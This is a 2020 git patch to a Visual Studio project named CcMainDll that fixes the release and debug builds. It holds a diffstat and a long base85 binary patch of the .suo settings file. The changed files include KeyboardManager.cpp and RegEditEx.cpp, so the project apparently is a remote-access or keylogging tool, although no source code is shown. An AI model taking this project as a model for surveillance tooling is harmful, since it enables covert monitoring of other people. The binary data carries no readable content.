From 3b5ea5b85dae44b72e218a2f09b69b96680fabb7 Mon Sep 17 00:00:00 2001
From: ChangCheng <shangzhaoning@huorong.cn>
Date: Fri, 22 May 2020 10:23:26 +0800
Subject: [PATCH] =?UTF-8?q?=E4=BF=AE=E6=94=B9=E4=BA=86=E7=8E=AF=E5=A2=83?=
 =?UTF-8?q?=E8=AE=BE=E7=BD=AE=EF=BC=8C=E4=BD=BF=20relesr=20and=20debug=20?=
 =?UTF-8?q?=E7=89=88=E6=9C=AC=E7=BC=96=E8=AF=91=E9=83=BD=E5=BE=97=E5=88=B0?=
 =?UTF-8?q?=E4=BA=86=E9=80=9A=E8=BF=87?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 CcMainDll/.vs/CcMainDll/v15/.suo              | Bin 98304 -> 89600 bytes
 CcMainDll/CcMainDll/CcMainDll.vcxproj         |  20 ++-
 CcMainDll/CcMainDll/CcMainDll.vcxproj.filters |  12 +-
 .../Debug/CcMainDll.Build.CppClean.log        |  34 ++++
 CcMainDll/CcMainDll/Debug/CcMainDll.log       | 118 +++++++++++---
 .../CcMainDll.tlog/CcMainDll.lastbuildstate   |   2 +-
 .../Debug/CcMainDll.tlog/unsuccessfulbuild    |   0
 .../Release/CcMainDll.Build.CppClean.log      |  61 +++----
 CcMainDll/CcMainDll/Release/CcMainDll.log     | 150 +++++++++---------
 .../CcMainDll.tlog/CcMainDll.lastbuildstate   |   2 +-
 CcMainDll/CcMainDll/common/KernelManager.cpp  |   2 +-
 .../CcMainDll/common/KeyboardManager.cpp      |   2 +-
 CcMainDll/CcMainDll/common/RegEditEx.cpp      |   1 +
 13 files changed, 263 insertions(+), 141 deletions(-)
 create mode 100644 CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log
 delete mode 100644 CcMainDll/CcMainDll/Debug/CcMainDll.tlog/unsuccessfulbuild

diff --git a/CcMainDll/.vs/CcMainDll/v15/.suo b/CcMainDll/.vs/CcMainDll/v15/.suo
index 8875fa030a88f74aa8a1b1ca6445d9d83414f302..6b77cbb070de6b36c28dd1be84bf4c06dff5b9d1 100644
GIT binary patch
delta 7392
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

literal 98304
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
